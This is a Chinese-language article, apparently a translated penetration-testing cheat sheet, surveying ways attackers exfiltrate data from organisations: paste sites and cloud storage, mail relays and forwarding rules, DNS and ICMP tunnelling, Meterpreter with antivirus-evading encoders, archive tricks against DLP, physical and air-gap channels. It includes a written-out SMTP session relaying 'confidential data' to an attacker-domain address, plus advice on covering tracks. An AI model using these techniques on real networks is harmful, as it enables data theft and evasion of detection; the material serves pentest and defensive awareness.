經驗分享 | 防范數據竊取從了解其手法做起
數據竊取是針對組織攻擊鏈中的最后一個階段。攻擊者竊取數據的技術可謂花樣百出,網上也有大量關于數據竊取方面的技術文檔以及工具。本文的目的就是盡可能的將這些技術整合起來,以作為大家日后滲透測試時的一個CheatSheet使用。
工欲善其事必先利其器,防范數據竊取必須先熟悉其使用的手段。文中所提及的大多數技術涉及直接的內部到外部數據竊取。
Web
許多企業都沒有在合適的地方設置任何類型的web代理這對于攻擊者而言將會是個很好的機會。
Anon paste站點例如pastebin甚至是github,都為我們提供了一個數據竊取的簡易通道。許多技術組織通常都會允許Github的使用。
如果有代理和過濾,你可能就需要花點心思了,但許多常見網站都會允許使用Dropbox,Google Drive和Box等,特別是那些有云外包服務的企業。
許多站點出于某些原因并未啟用TLS,這很容易導致中間人攻擊。因此,如果你的站點沒有啟用https,那么可以使用用Let’s Encrypt為你的站點免費加密。
即使啟用了類似Websense這樣的功能,很多類別也不能用于完整的TLS檢查——比如財務和醫療——雇員隱私。許多分類系統允許你根據自己的實際情況設置分類,因此攻擊者只要做好預先計劃,例如創建一個醫療站點就可能輕松繞過過濾機制。
Flickr和YouTube是否可以訪問? 如果可以的話,則可以使用這些服務暫存相對較大的文件,包括使用隱寫術。
也許你的企業擁有自己的可從Internet訪問的Web服務器。那么你可以想辦法拿下其中的一臺,來作為你進一步滲透的中轉站。
你是否可以訪問一些主要的網絡郵件提供商 – 例如Gmail,Outlook.com等?如果你的目標企業有外包到Office 365或GSuite(檢查其MX或郵件頭),則更有可能實現此目的。
出站SMTP/POP3/IMAP是否可用。檢查加密以及未加密的端口 – 25/465/587,110/999,143/993。
是否存在錯誤配置的郵件中繼?是否可以通過欺騙內部地址來中繼到外部地址?(這也可在內網釣魚時用來繞過message hygiene過濾器 )
- #telnet internal.smtp.local 25
- HELO attacker
- MAIL FROM:<attacker@domain.com>
- RCPT TO:<attacker@attackerdomain.com>
- DATA
- Here is lots of confidential data
- .
- QUIT
如果郵箱遭到入侵(后釣魚利用),攻擊者可以將Outlook中的自動轉發規則設置為他們選擇的外部地址。通常這對于高價值目標非常有用。之后,我們可以使用相同的規則來刪除已發送的項目,以覆蓋留下的痕跡。
Malware
Meterpreter是一種先進的,可動態擴展的有效載荷,它使用內存中的DLL注入階段,并在運行時通過網絡擴展。它通過stager套接字進行通信并提供全面的客戶端Ruby API。它包含命令歷史記錄,制表符完成,頻道等。https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
要盡可能的避免殺軟和網絡入侵檢測,你可以使用Metasploit中提供的編碼器(例如/shikata_ga_nai)。還有就是盡量不要將正在使用的payload,上傳到像VirusTotal這類的在線病毒掃描網站。因為一旦上傳你的payload就會被分享給所有的AV公司,并會在短時間內被殺毒軟件查殺。https://www.offensive-security.com/metasploit-unleashed/msfencode/
協議濫用
FTP/SSH/SCP/SFTP可能被允許出站,因為它們經常被用作數據交換協議。客戶端工具也可以在系統上隨時使用,而無需下載其他二進制文件。
DNS Tunneling,是隱蔽信道的一種,通過將其他協議封裝在DNS協議中傳輸建立通信。因為在我們的網絡世界中DNS是一個必不可少的服務,所以大部分防火墻和入侵檢測設備很少會過濾DNS流量。這里推薦大家可以使用dnscat2。
一些IDS/IDP現在能夠發現DNS隧道,但經常錯過通過DNS TXT記錄發送的數據。我們制作了一個工具你可以通過它來提供文件:https://github.com/pentestpartners/Uninvited-Guest,還有一個早期的版本:https://github.com/pentestpartners/DNSTXT-encoder。
你可以嘗試原始TCP套接字。可能ICMP被允許出站(它是一種非常實用的診斷工具,在IPv6中很重要)- 但它很慢。https://github.com/sensepost/DET
我們可以使用secret_sender操縱IP數據包,通過其中一個協議(TCMP Echo Request,TCP SYN或UDP)發送從命令行接受的消息,將數據泄露到服務器上。因為它看起來像是服務器的正常數據包,因此它不會引起任何的懷疑。
Old-school port knocking(端口敲門)也是一種選擇:https://www.sans.org/reading-room/whitepapers/covert/portknockout-data-exfiltration-port-knocking-udp-37307
像bittorrent這樣的P2P協議是否可用?
如果HTTPS檢查沒有對外部和內部名稱做匹配性檢查,那么可以嘗試通過Tor和domain fronting(域前置)來繞過過濾器。https://blog.didierstevens.com/2018/01/20/quickpost-data-exfiltration-with-tor-browser-and-domain-fronting/
許多即時消息協議,如Skype,Facebook Messenger和IRC也可以被利用。就拿我當前所在的企業來說,我們使用的是Skype for Business并且還啟用了federation。https://www.sans.org/reading-room/whitepapers/covert/skype-data-exfiltration-34560
NTP和BGP協議通常也被允許,可以濫用它們來泄露數據。https://www.darknet.org.uk/2016/11/pyexfil-python-data-exfiltration-tools/
遠程桌面通常可用于映射磁盤和剪貼板,即便被限制,我們也可以使用PTP Rat通過顯示器像素值來泄露數據。
X509證書可以被嵌入到二進制數據中,因此可用于傳輸數據。https://github.com/fideliscyber/x509
Internal Staging
WMI調用可用于啟動傳輸,設置ADS或采用卷影拷貝來隱藏staging系統上的數據。https://github.com/secabstraction/WmiSploit
Windows BITS可用于傳輸調度或涓流傳輸信息,以避免觸發“top talkers”觸發器。
文件類型
對于一些安裝了DLP(數據泄露防護系統)的企業,我們可以嘗試將數據封裝在以下文件類型來繞過DLP:
- Zip
- 加密 (AES) Zip
- 深度嵌套 Zip(許多系統會在10-100層之后停止掃描,以避免Zip炸彈)
- 7zip
- RAR
- CAB
- Tar (+/- gzip)
- WIM image
物理
如果攻擊者或惡意的內部工作人員具有物理訪問權限,那么我們又該怎么做?
檢查筆記本USB插口是否已鎖定,MP3播放器和智能手機。是否已設置僅允許授權USB連接選項。
可以將數據保存在CD和DVD中,相較于USB它們更難以泄露數據。
筆記本上的資產貼紙,是否有任何泄露信息?便攜式設備是否具有完全的磁盤加密?垃圾箱或是在eBay上是否有處理不當的機器?
許多企業都擁有自己的打印機,打印機的功能也非常的齊全,例如檢索之前的打印任務,甚至可以通過傳真線傳輸數據。http://seclists.org/bugtraq/2016/Sep/54
公司的Wi-Fi是否安全?是否使用了不安全WPA-PSK加密。訪客Wi-Fi網絡是否與企業主要網絡充分隔離?企業系統是否被允許連接到訪客Wi-Fi?
攻擊者是否可以利用弱邊緣端口安全性在網絡上植入設備,例如具有自己的蜂窩帶外命令連接的Raspberry Pi?
網絡攝像頭
手機
硬拷貝
隔離網絡
在網絡隔離的情況下,可以針對藍牙設備發起攻擊,例如控制設備或在設備范圍內傳播惡意軟件等。https://blog.malwarebytes.com/cybercrime/2017/09/blueborne-bluetooths-airborne-influenza/
PC揚聲器:主要利用特定的音頻芯片功能,將輸出音頻插孔轉換成輸入插孔,從而將連接的揚聲器有效地轉換為(非傳統)麥克風。感染air-gapped計算機的惡意軟件可以將本地存儲的文件轉換成音頻信號,并通過連接的揚聲器、耳機或耳塞將它們傳送到附近的另一臺計算機設備。具體可參考:https://thehackernews.com/2018/03/air-gap-computer-hacking.html
LED燈:硬盤上的LED指示燈也是個很好的突破口,它每秒最多能閃爍6000次。因此,黑客可以借助這些閃爍遠程獲取數據。https://www.wired.com/2017/02/malware-sends-stolen-data-drone-just-pcs-blinking-led/
磁:ODINI和MAGNETO攻擊可以利用計算機處理器產生的磁信號來竊取數據。磁信號可以通過讀寫硬盤驅動來產生。由于該攻擊為低頻磁場,因此可以繞過法拉第屏蔽。
電力線:通過電力線從隔離計算機中提取數據。